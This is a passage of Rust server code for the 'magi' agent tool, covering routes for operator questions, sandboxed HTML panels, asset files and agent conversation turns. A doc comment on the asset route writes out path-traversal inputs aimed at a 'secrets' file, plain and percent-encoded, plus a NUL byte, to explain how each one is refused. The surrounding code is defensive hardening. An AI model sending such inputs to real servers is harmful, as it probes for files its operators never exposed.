4371    State(ui): State<Arc<Ui>>,
4372    Path(id): Path<String>,
4373) -> ApiResult<Json<Notice>> {
4374    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
4375}
4376
4377/// `POST /api/notifications/read-all`.
4378async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4379    blocking(move || {
4380        let changed = ui.notices.mark_all_read()?;
4381        Ok(Json(serde_json::json!({ "marked": changed })))
4382    })
4383    .await
4384}
4385
4386/// The body of `POST /api/questions/{id}/answer`.
4387///
4388/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
4389/// a bad request rather than a guess: an answer magi invented is worse than a
4390/// question left open.
4391#[derive(Debug, Default, Deserialize)]
4392#[serde(default, deny_unknown_fields)]
4393struct NewAnswer {
4394    choice: Option<String>,
4395    text: Option<String>,
4396}
4397
4398async fn question_answer(
4399    State(ui): State<Arc<Ui>>,
4400    Path(id): Path<String>,
4401    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
4402) -> ApiResult<Json<QuestionView>> {
4403    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4404    let answer = match (body.choice, body.text) {
4405        (Some(c), None) => Answer::Choice(c),
4406        (None, Some(t)) => Answer::Text(t),
4407        (Some(_), Some(_)) => {
4408            return Err(ApiError::bad_request(
4409                "send either `choice` or `text`, not both",
4410            ));
4411        }
4412        (None, None) => {
4413            return Err(ApiError::bad_request("send a `choice` or a `text`"));
4414        }
4415    };
4416
4417    blocking(move || {
4418        let id = resolve_question(&ui.questions, &id)?;
4419        let q = ui
4420            .questions
4421            .get(&id)
4422            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4423        if !q.status.open() {
4424            // Answered from the terminal, or by another phone, in between the
4425            // list and the tap. The UI shows the recorded answer rather than an
4426            // error, so it needs the record, not just the status.
4427            return Err(ApiError::conflict(format!(
4428                "question {} is already {}",
4429                q.short(),
4430                q.status.as_str()
4431            )));
4432        }
4433        // `Question::answer` owns the rules - an unoffered choice, free text on
4434        // a multiple-choice question, an empty reply - so the route does not
4435        // restate them and cannot drift from the CLI's behaviour.
4436        let (q, ()) = ui
4437            .questions
4438            .update(&q.id, |r| r.answer(answer))
4439            .map_err(ApiError::bad_request_from)?;
4440        Ok(Json(QuestionView::of(q, &ui.questions)))
4441    })
4442    .await
4443}
4444
4445/// The body of `POST /api/questions/{id}/say`.
4446#[derive(Debug, Deserialize)]
4447#[serde(deny_unknown_fields)]
4448struct NewSay {
4449    body: String,
4450}
4451
4452/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
4453///
4454/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
4455/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
4456/// file, so there is no turn to serialize against and no
4457/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
4458/// is a *different* process - the run parked behind `magi ask` - and picks
4459/// the reply up on its own poll of the very same file, same as an answer
4460/// does.
4461async fn question_say(
4462    State(ui): State<Arc<Ui>>,
4463    Path(id): Path<String>,
4464    body: std::result::Result<Json<NewSay>, JsonRejection>,
4465) -> ApiResult<Json<QuestionView>> {
4466    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4467    blocking(move || {
4468        let id = resolve_question(&ui.questions, &id)?;
4469        let q = ui
4470            .questions
4471            .get(&id)
4472            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4473        if !q.status.open() {
4474            // Same granularity as `question_answer`: answered or abandoned in
4475            // between the list and the tap is not this route's error to
4476            // explain any differently.
4477            return Err(ApiError::conflict(format!(
4478                "question {} is already {}",
4479                q.short(),
4480                q.status.as_str()
4481            )));
4482        }
4483        // `Question::say` owns the one rule that matters here - an empty
4484        // message tells the agent nothing - so the route does not restate it.
4485        let (q, ()) = ui
4486            .questions
4487            .update(&q.id, |r| r.say(body.body))
4488            .map_err(ApiError::bad_request_from)?;
4489        Ok(Json(QuestionView::of(q, &ui.questions)))
4490    })
4491    .await
4492}
4493
4494/// Expand an id or short id to exactly one question id.
4495fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
4496    if store.path_of(id).is_file() {
4497        return Ok(id.to_owned());
4498    }
4499    pick(
4500        store.list().into_iter().map(|q| q.id).collect(),
4501        id,
4502        "question",
4503    )
4504}
4505
4506/// `GET /api/questions/{id}/panel`.
4507///
4508/// The panel an agent wrote for this question, as `text/html` under
4509/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
4510/// A question without one is a 404 rather than an empty page: the client
4511/// preflights this route with `HEAD` and must be able to tell "no panel" from
4512/// "a panel that rendered blank", and a sandboxed frame is opaque to the
4513/// parent document so it cannot tell the difference by looking.
4514///
4515/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
4516/// sanitises or minifies it - a sanitiser is a list of things someone thought
4517/// of, and the sandbox plus the CSP is a list of things that are allowed, which
4518/// is the direction that stays safe when an agent writes markup nobody
4519/// predicted.
4520async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
4521    blocking(move || {
4522        let id = resolve_question(&ui.questions, &id)?;
4523        let Some(html) = ui.questions.panel_html(&id) else {
4524            return Err(ApiError::not_found(format!("question {id} has no panel")));
4525        };
4526        Ok(panel_response(
4527            "text/html; charset=utf-8",
4528            false,
4529            html.into_bytes(),
4530        ))
4531    })
4532    .await
4533}
4534
4535/// `GET /api/questions/{id}/asset/{name}`.
4536///
4537/// One file from the question's own panel directory, so a panel can show a
4538/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
4539/// having to allow anything off this machine.
4540///
4541/// This is the only route in the server where a client names a file, so it is
4542/// the only one with a traversal surface, and the name is checked by
4543/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
4544/// what is worth being explicit about, because the answer is not "all of it in
4545/// one place":
4546///
4547/// * `asset/../../secrets` never reaches this handler at all. axum matches on
4548///   the raw request path and `{name}` spans exactly one segment, so a real
4549///   slash makes the request too long for the route and the router answers 404.
4550/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
4551///   percent-decodes path parameters, so `name` arrives as `../secrets` and
4552///   `..\secrets` respectively, which look like plain filenames to the router.
4553///   The validator refuses them here - both for the literal `..` and because
4554///   `/` and `\` are not in the permitted character set - and answers 400.
4555/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
4556///   the platform's path API is not, and it is refused here for the same
4557///   reason: NUL is not a permitted character.
4558/// * [`Questions::panel_asset`] validates again on read, so the check is not
4559///   load-bearing in only one place. This route's own check exists so the
4560///   failure is a 400 that says which name was wrong, rather than a store error
4561///   the operator has to interpret.
4562async fn question_asset(
4563    State(ui): State<Arc<Ui>>,
4564    Path((id, name)): Path<(String, String)>,
4565) -> ApiResult<Response> {
4566    // Before any filesystem work and before any path is built: a name this
4567    // server will not serve should not become a `PathBuf` at all.
4568    if !crate::ask::valid_asset_name(&name) {
4569        return Err(ApiError::bad_request(format!(
4570            "`{name}` is not a usable asset name"
4571        )));
4572    }
4573    blocking(move || {
4574        let id = resolve_question(&ui.questions, &id)?;
4575        let asset = ui
4576            .questions
4577            .panel_asset(&id, &name)
4578            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4579        let Some(bytes) = asset else {
4580            return Err(ApiError::not_found(format!(
4581                "question {id} has no asset `{name}`"
4582            )));
4583        };
4584        Ok(panel_response(
4585            asset_content_type(&name),
4586            is_svg(&name),
4587            bytes,
4588        ))
4589    })
4590    .await
4591}
4592
4593/// Content type for a panel asset, from a closed whitelist.
4594///
4595/// A whitelist with an `application/octet-stream` fallback rather than a
4596/// guess, because the one answer that must never come out of here is
4597/// `text/html`. An agent that writes `notes.html` into its panel directory and
4598/// links it would otherwise get its own markup rendered at the top level of the
4599/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
4600/// magi's origin - which is precisely the thing the panel design exists to
4601/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
4602///
4603/// `nosniff` accompanies this on every response, so a browser cannot decide it
4604/// knows better than the type we sent.
4605fn asset_content_type(name: &str) -> &'static str {
4606    match extension(name).as_deref() {
4607        Some("png") => "image/png",
4608        Some("jpg" | "jpeg") => "image/jpeg",
4609        Some("gif") => "image/gif",
4610        Some("webp") => "image/webp",
4611        Some("svg") => "image/svg+xml",
4612        Some("css") => "text/css; charset=utf-8",
4613        Some("txt") => "text/plain; charset=utf-8",
4614        _ => "application/octet-stream",
4615    }
4616}
4617
4618/// Is this an SVG, and therefore a file that must never be opened at the top
4619/// level?
4620fn is_svg(name: &str) -> bool {
4621    extension(name).as_deref() == Some("svg")
4622}
4623
4624/// Lowercased extension, or `None` for a name without one.
4625fn extension(name: &str) -> Option<String> {
4626    name.rsplit_once('.')
4627        .map(|(_, ext)| ext.to_ascii_lowercase())
4628}
4629
4630/// Every panel response, with the four headers that make it safe and, for an
4631/// SVG, a fifth.
4632///
4633/// One function rather than a header list per handler, because a panel route
4634/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
4635/// model gone, silently, on one of two routes. Adding a third panel route later
4636/// means calling this, and there is nowhere else to build a panel response.
4637///
4638/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
4639/// as an `<img src>` inside the panel that script cannot run - but the asset
4640/// URL is also a plain URL an operator can be talked into opening in a tab,
4641/// where it is a document on magi's own origin. `Content-Disposition:
4642/// attachment` makes the browser download it instead of rendering it, which
4643/// closes that door without taking away the ability to draw a diff. Raster
4644/// images have no such execution surface and are left inline, so tapping a
4645/// screenshot still shows it.
4646fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4647    let mut res = (
4648        [
4649            (header::CONTENT_TYPE, content_type),
4650            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4651            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4652            (header::REFERRER_POLICY, "no-referrer"),
4653        ],
4654        body,
4655    )
4656        .into_response();
4657    if download {
4658        res.headers_mut().insert(
4659            header::CONTENT_DISPOSITION,
4660            HeaderValue::from_static("attachment"),
4661        );
4662    }
4663    res
4664}
4665
4666/// A talk as the phone reads it.
4667///
4668/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
4669/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
4670/// parses markdown itself - and the process-local `thinking` hint.
4671#[derive(Debug, Serialize)]
4672struct TalkView {
4673    #[serde(flatten)]
4674    talk: Talk,
4675    turn_bodies_md: Vec<Vec<md::Node>>,
4676    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
4677    /// this server process.
4678    ///
4679    /// This is deliberately not durable: another server process cannot see
4680    /// it, and a restarted server must not claim an old turn is live. It is a
4681    /// progress hint rather than proof a reply landed; the transcript remains
4682    /// the source of truth for that.
4683    thinking: bool,
4684}
4685
4686impl TalkView {
4687    fn new(talk: Talk, thinking: bool) -> Self {
4688        let turn_bodies_md = talk
4689            .turns
4690            .iter()
4691            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4692            .collect();
4693        Self {
4694            turn_bodies_md,
4695            thinking,
4696            talk,
4697        }
4698    }
4699}
4700
4701/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
4702/// conversation has filed, so the phone can follow one from inside the
4703/// conversation that asked for it rather than hunting the Queue for a task id
4704/// it may not remember.
4705#[derive(Debug, Serialize)]
4706struct TalkDetailView {
4707    #[serde(flatten)]
4708    view: TalkView,
4709    tasks: Vec<TaskView>,
4710}
4711
4712/// `GET /api/talks`.
4713///
4714/// Every conversation, open ones first and newest first - [`Talks::list`]'s
4715/// own order.
4716async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4717    blocking(move || {
4718        Ok(Json(
4719            ui.talks
4720                .list()
4721                .into_iter()
4722                .map(|talk| {
4723                    let thinking = ui.is_thinking(&talk.id);
4724                    TalkView::new(talk, thinking)
4725                })
4726                .collect(),
4727        ))
4728    })
4729    .await
4730}
4731
4732/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
4733/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
4734/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
4735/// end still opens a talk against an older binary.
4736#[derive(Debug, Default, Deserialize)]
4737#[serde(default)]
4738struct NewTalk {
4739    agent: Option<String>,
4740    repo: Option<PathBuf>,
4741}
4742
4743/// `POST /api/talks` - open a conversation. Takes no agent turn: see
4744/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
4745async fn talk_post(
4746    State(ui): State<Arc<Ui>>,
4747    body: std::result::Result<Json<NewTalk>, JsonRejection>,
4748) -> ApiResult<impl IntoResponse> {
4749    // An absent body, or an empty one, is the normal way to open a talk - see
4750    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
4751    // rather than refused.
4752    let body = match body {
4753        Ok(Json(body)) => body,
4754        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4755        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4756    };
4757    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4758    let cfg = config_for(&repo).await?;
4759    let view = blocking(move || {
4760        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4761        let thinking = ui.is_thinking(&talk.id);
4762        Ok(TalkView::new(talk, thinking))
4763    })
4764    .await?;
4765    Ok((StatusCode::CREATED, Json(view)))
4766}
4767
4768/// `GET /api/talks/{id}`.
4769async fn talk_detail(
4770    State(ui): State<Arc<Ui>>,
4771    Path(id): Path<String>,
4772) -> ApiResult<Json<TalkDetailView>> {
4773    blocking(move || {
4774        let id = resolve_talk(&ui.talks, &id)?;
4775        let talk = ui.talks.get(&id)?;
4776        let thinking = ui.is_thinking(&talk.id);
4777        let tasks = talk::tasks_of(&ui.queue, &talk.id)
4778            .into_iter()
4779            .map(TaskView::from)
4780            .collect();
4781        Ok(Json(TalkDetailView {
4782            view: TalkView::new(talk, thinking),
4783            tasks,
4784        }))
4785    })
4786    .await
4787}
4788
4789/// The body of `POST /api/talks/{id}/say`.
4790///
4791/// `attachments` names ids `POST /api/talks/{id}/attachments` already
4792/// returned - never bytes of its own - so a turn with no images just omits
4793/// the field, which is what an older front end still does.
4794#[derive(Debug, Default, Deserialize)]
4795#[serde(default, deny_unknown_fields)]
4796struct NewTalkTurn {
4797    text: String,
4798    attachments: Vec<String>,
4799}
4800
4801#[derive(Debug, Deserialize)]
4802#[serde(deny_unknown_fields)]
4803struct EditTalkPending {
4804    text: String,
4805    expected_text: String,
4806    expected_attachments: Vec<String>,
4807}
4808
4809#[derive(Debug, Deserialize)]
4810#[serde(deny_unknown_fields)]
4811struct ClearTalkPending {
4812    expected_text: String,
4813    expected_attachments: Vec<String>,
4814}
4815
4816/// `POST /api/talks/{id}/say` - one turn of the conversation.
4817///
4818/// Not filesystem work, and therefore not routed through [`blocking`]: this
4819/// route spawns an agent CLI and a turn here can run for the whole of
4820/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
4821/// research turn is expected to run commands rather than answer from what it
4822/// already knows. Holding an HTTP connection open that long is not a thing
4823/// to ask a phone to do; the operator's message is recorded and answered for
4824/// immediately, and the reply lands in the background, discovered through
4825/// the change stream's `talks_rev` the same way every other update on this
4826/// surface is.
4827async fn talk_say(
4828    State(ui): State<Arc<Ui>>,
4829    Path(id): Path<String>,
4830    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4831) -> ApiResult<(StatusCode, Json<TalkView>)> {
4832    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4833    if body.text.trim().is_empty() && body.attachments.is_empty() {
4834        return Err(ApiError::bad_request("say something"));
4835    }
4836
4837    let id = {
4838        let ui = Arc::clone(&ui);
4839        let asked = id.clone();
4840        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4841    };
4842    // A closed Talk never accepts a new immediate or queued turn. Check this
4843    // before claiming a slot so its ordinary domain refusal is a 409, not an
4844    // incidental failure from the later record/queue write.
4845    {
4846        let ui = Arc::clone(&ui);
4847        let id = id.clone();
4848        blocking(move || {
4849            let talk = ui.talks.get(&id)?;
4850            if !talk.status.open() {
4851                return Err(ApiError::conflict(format!(
4852                    "talk {} is {} and takes no more turns",
4853                    talk.short(),
4854                    talk.status.as_str()
4855                )));
4856            }
4857            Ok(())
4858        })
4859        .await?;
4860    }
4861
4862    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
4863    // actually stores, before anything is written - an unknown id is a 4xx
4864    // that names it rather than a turn (or a queued draft) silently missing
4865    // an image.
4866    let attachments = {
4867        let ui = Arc::clone(&ui);
4868        let id = id.clone();
4869        let ids = body.attachments.clone();
4870        blocking(move || {
4871            ids.into_iter()
4872                .map(|att_id| {
4873                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4874                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4875                    })
4876                })
4877                .collect::<ApiResult<Vec<talk::Attachment>>>()
4878        })
4879        .await?
4880    };
4881
4882    // Pending recovery and a new immediate turn are decided under the same
4883    // claim lock. Without that one critical section, a second `/say` can see
4884    // the first request's claim as "busy" and append itself to the recovered
4885    // draft before the first request rejects it.
4886    let start = {
4887        let ui = Arc::clone(&ui);
4888        let id = id.clone();
4889        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4890    };
4891    let turn_guard = match start {
4892        TalkTurnStart::Claimed(turn_guard) => turn_guard,
4893        TalkTurnStart::Pending => {
4894            return Err(ApiError::conflict(
4895                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4896            ));
4897        }
4898        TalkTurnStart::Busy => {
4899            // A turn is already running: queue rather than refuse. See
4900            // `Ui::begin_talk_turn` and `talk::queue`.
4901            //
4902            // The queue write and the drain it may owe live inside the task
4903            // `tokio::spawn` hands to the runtime, for the same reason the
4904            // immediate path below puts `record` there: a dropped handler
4905            // future must not be able to land between a durable write and
4906            // the task that answers it. `blocking` runs its closure on
4907            // `spawn_blocking`, which finishes whether or not anyone is left
4908            // to receive its result - so a disconnect at the `.await` below
4909            // would otherwise leave the draft persisted and the reclaimed
4910            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
4911            // ever started and the queued text stranded until some later
4912            // `say` happened to pick it up. The caller's 202 travels back
4913            // over a `oneshot`, sent the moment the write lands.
4914            let (tx, rx) = tokio::sync::oneshot::channel();
4915            tokio::spawn({
4916                let ui = Arc::clone(&ui);
4917                let id = id.clone();
4918                let said = body.text.clone();
4919                async move {
4920                    let written = blocking({
4921                        let ui = Arc::clone(&ui);
4922                        let id = id.clone();
4923                        move || {
4924                            let mut talk = ui.talks.get(&id)?;
4925                            // A test-only stop point, right before the write
4926                            // an interleaving test needs to pin - see
4927                            // `BusyQueueGate`. `None` in every real server:
4928                            // the field only exists under `#[cfg(test)]`.
4929                            #[cfg(test)]
4930                            if let Some(gate) = ui
4931                                .busy_queue_gate
4932                                .lock()
4933                                .unwrap_or_else(PoisonError::into_inner)
4934                                .take()
4935                            {
4936                                let _ = gate.reached.send(());
4937                                let _ = gate.release.recv();
4938                            }
4939                            if let Err(error) =
4940                                talk::queue(&mut talk, &ui.talks, &said, attachments)
4941                            {
4942                                if let Ok(fresh) = ui.talks.get(&id) {
4943                                    if !fresh.status.open() {
4944                                        return Err(ApiError::conflict(format!(
4945                                            "talk {} is {} and takes no more turns",
4946                                            fresh.short(),
4947                                            fresh.status.as_str()
4948                                        )));
4949                                    }
4950                                }
4951                                return Err(ApiError::from(error));
4952                            }
4953                            // The turn that looked busy a moment ago can have
4954                            // finished, found nothing to drain and given up the
4955                            // slot in the gap between that check and this write
4956                            // landing - see `drain_loop`'s own doc for the other
4957                            // half of why that gap would otherwise be able to
4958                            // open at all. Reclaiming the slot here, rather than
4959                            // trusting that whoever held it is still watching, is
4960                            // what stops the text just queued from being stranded
4961                            // until an unrelated future `say` happens to drain
4962                            // it.
4963                            let claim = match ui.begin_queued_talk_turn(&id)? {
4964                                Some(turn_guard) => {
4965                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4966                                    Some((talk.clone(), cfg, turn_guard))
4967                                }
4968                                None => None,
4969                            };
4970                            let thinking = ui.is_thinking(&id);
4971                            Ok((TalkView::new(talk, thinking), claim))
4972                        }
4973                    })
4974                    .await;
4975                    let (view, reclaimed) = match written {
4976                        Ok(pair) => pair,
4977                        Err(e) => {
4978                            // Nobody is listening if the handler's own future
4979                            // was already dropped - that is fine, nothing was
4980                            // persisted and there is no response left to carry
4981                            // this error to.
4982                            let _ = tx.send(Err(e));
4983                            return;
4984                        }
4985                    };
4986                    // If this fails, the caller is gone; the drain below still
4987                    // runs exactly as it would have for a caller that stayed.
4988                    let _ = tx.send(Ok(view));
4989                    if let Some((talk, cfg, turn_guard)) = reclaimed {
4990                        let talks = ui.talks.clone();
4991                        drain_loop(talk, talks, cfg, id, turn_guard).await;
4992                    }
4993                }
4994            });
4995            let view = rx
4996                .await
4997                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4998            return Ok((StatusCode::ACCEPTED, Json(view)));
4999        }
5000    };
5001
5002    let (talk, cfg) = {
5003        let ui = Arc::clone(&ui);
5004        let id = id.clone();
5005        blocking(move || {
5006            let talk = ui.talks.get(&id)?;
5007            let (cfg, _) = Config::discover(&talk.repo, None)?;
5008            Ok((talk, cfg))
5009        })
5010        .await?
5011    };
5012
5013    let talks = ui.talks.clone();
5014    // `record` runs *inside* the spawned task, rather than in this handler
5015    // followed by a separate `tokio::spawn` for `respond` - axum drops this
5016    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
5017    // doc), and that drop can land at any `.await` this function makes,
5018    // including one that has already produced its result but not yet
5019    // resumed. A message could end up recorded on disk with the handler
5020    // future gone before it ever reached the `tokio::spawn` that would have
5021    // started the reply. `tokio::spawn` itself is a plain, synchronous call
5022    // that hands the whole future to the runtime as one unit - once made, no
5023    // later drop of *this* handler's own future (that call's return value is
5024    // never held onto here) can reach back in and stop it, so record and the
5025    // hand-off to `respond` are unconditionally atomic from the client's
5026    // point of view. The immediate response this handler owes the caller
5027    // travels back over a `oneshot`, sent the moment `record` succeeds.
5028    let (tx, rx) = tokio::sync::oneshot::channel();
5029    tokio::spawn({
5030        let ui = Arc::clone(&ui);
5031        let talks = talks.clone();
5032        let id = id.clone();
5033        let said = body.text.clone();
5034        let mut talk = talk.clone();
5035        async move {
5036            let recorded = blocking({
5037                let talks = talks.clone();
5038                move || {
5039                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5040                        if let Ok(fresh) = talks.get(&talk.id) {
5041                            if !fresh.status.open() {
5042                                return Err(ApiError::conflict(format!(
5043                                    "talk {} is {} and takes no more turns",
5044                                    fresh.short(),
5045                                    fresh.status.as_str()
5046                                )));
5047                            }
5048                        }
5049                        return Err(ApiError::from(error));
5050                    }
5051                    // `record` mutates `talk` in place to the freshly persisted
5052                    // state (status, pending, and the just-appended operator
5053                    // turn), so returning it here is equivalent to re-reading it
5054                    // from disk - without the extra round trip a re-read would
5055                    // need.
5056                    Ok((said.trim().to_owned(), talk))
5057                }
5058            })
5059            .await;
5060            let (text, mut talk) = match recorded {
5061                Ok(pair) => pair,
5062                Err(e) => {
5063                    // Nobody is listening if the handler's own future was
5064                    // already dropped - that is fine, there is no response
5065                    // left to carry this error to and nothing was persisted.
5066                    let _ = tx.send(Err(e));
5067                    return;
5068                }
5069            };
5070            let queued = talk.clone();
5071            let thinking = ui.is_thinking(&id);
5072            // If this fails, the caller is gone; the turn still runs below
5073            // exactly as it would have for a caller that stayed connected.
5074            let _ = tx.send(Ok((queued, thinking)));
5075
5076            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5077                // `respond` records the failure in the transcript itself,
5078                // which is what the phone reads; this line is for the
5079                // operator's terminal.
5080                tracing::warn!("talk {id} turn failed: {e:#}");
5081            }
5082            // Anything `talk::queue` added while the turn above was running
5083            // is still owed an answer - see `drain_loop`.
5084            drain_loop(talk, talks, cfg, id, turn_guard).await;
5085        }
5086    });
5087
5088    let (queued, thinking) = rx
5089        .await
5090        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5091
5092    // 202: the operator's message is recorded and a turn is running.
5093    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5094}
5095
5096/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
5097/// changing it. The turn guard is the same per-talk ownership `talk_say`
5098/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
5099async fn talk_pending_resume(
5100    State(ui): State<Arc<Ui>>,
5101    Path(id): Path<String>,
5102) -> ApiResult<(StatusCode, Json<TalkView>)> {
5103    let id = {
5104        let ui = Arc::clone(&ui);
5105        let asked = id.clone();
5106        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5107    };
5108    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5109        return Err(ApiError::conflict(
5110            "a talk turn is already running; the queued draft will be handled by it",
5111        ));
5112    };
5113    let (talk, cfg) = {
5114        let ui = Arc::clone(&ui);
5115        let id = id.clone();
5116        blocking(move || {
5117            let talk = ui.talks.get(&id)?;
5118            if !talk.status.open() {
5119                return Err(ApiError::conflict(format!(
5120                    "talk {} is {} and takes no more turns",
5121                    talk.short(),
5122                    talk.status.as_str()
5123                )));
5124            }
5125            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5126                return Err(ApiError::conflict("there is no queued draft to resume"));
5127            }
5128            let (cfg, _) = Config::discover(&talk.repo, None)?;
5129            Ok((talk, cfg))
5130        })
5131        .await?
5132    };
5133    let view = TalkView::new(talk.clone(), true);
5134    let talks = ui.talks.clone();
5135    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5136    Ok((StatusCode::ACCEPTED, Json(view)))
5137}
5138
5139/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
5140/// releasing `turn` only once a check finds it truly empty. Shared by both
5141/// callers that can end up owning a talk's turn slot with something already
5142/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
5143/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
5144/// holder just gave up - see the comment at that call site.
5145///
5146/// The release is folded into the final generation check under `turn`'s own
5147/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
5148/// free". Before its blocking `talk::drain`, this loop observes the queued
5149/// generation. A `say` that sees the turn busy writes its draft, then advances
5150/// that generation. Thus, if it lands while the drain is in flight, the final
5151/// check observes the advance and drains again; otherwise it releases the
5152/// claim while holding the same lock. This keeps the release/arrival handoff
5153/// atomic without holding the global claim mutex across filesystem I/O.
5154async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5155    let live_set = Arc::clone(&turn.turns);
5156    // `Option` rather than binding `turn` directly to a `_turn` that lives
5157    // for the whole function: releasing it has to happen by calling
5158    // `TalkTurnGuard::release` from inside the locked branch below, which
5159    // takes `self` by value. Left as a plain drop instead, `Drop` would still
5160    // remove the id - correctly, if this loop is ever left some other way -
5161    // but doing it there misses the lock this loop is already holding, which
5162    // is the exact gap `release` exists to close.
5163    let mut turn = Some(turn);
5164    loop {
5165        // `talk::drain` takes the store lock and can write/rename the talk
5166        // file. Keep the turn mutex out of that synchronous work: it protects
5167        // every talk's in-memory claim, not this talk's disk operation.
5168        let observed = live_set
5169            .lock()
5170            .unwrap_or_else(PoisonError::into_inner)
5171            .queued
5172            .get(&id)
5173            .copied()
5174            .unwrap_or(0);
5175        let drained = blocking({
5176            let talks = talks.clone();
5177            move || {
5178                let result = talk::drain(&mut talk, &talks);
5179                Ok((talk, result))
5180            }
5181        })
5182        .await;
5183        let (next_talk, result) = match drained {
5184            Ok(drained) => drained,
5185            Err(e) => {
5186                tracing::warn!(
5187                    status = %e.status,
5188                    message = %e.message,
5189                    "talk {id} could not start queued-text drain"
5190                );
5191                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5192                turn.take()
5193                    .expect("held for the whole loop until released here")
5194                    .release(&mut live);
5195                break;
5196            }
5197        };
5198        talk = next_talk;
5199        let drained = match result {
5200            Ok(Some(drained)) => drained,
5201            Ok(None) => {
5202                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5203                if live.queued.get(&id).copied().unwrap_or(0) != observed {
5204                    continue;
5205                }
5206                turn.take()
5207                    .expect("held for the whole loop until released here")
5208                    .release(&mut live);
5209                break;
5210            }
5211            Err(e) => {
5212                tracing::warn!("talk {id} could not drain queued text: {e:#}");
5213                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5214                turn.take()
5215                    .expect("held for the whole loop until released here")
5216                    .release(&mut live);
5217                break;
5218            }
5219        };
5220        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5221            tracing::warn!("talk {id} turn failed: {e:#}");
5222        }
5223    }
5224}
5225
5226/// Clear a queued draft only if it remains exactly the one the caller saw.
5227async fn talk_pending_clear(
5228    State(ui): State<Arc<Ui>>,
5229    Path(id): Path<String>,
5230    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5231) -> ApiResult<Json<TalkView>> {
5232    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5233    blocking(move || {
5234        let id = resolve_talk(&ui.talks, &id)?;
5235        let mut talk = ui.talks.get(&id)?;
5236        if !talk.status.open() {
5237            return Err(ApiError::conflict(format!(
5238                "talk {} is {} and takes no more turns",
5239                talk.short(),
5240                talk.status.as_str()
5241            )));
5242        }
5243        if !talk::clear_pending_if_matches(
5244            &mut talk,
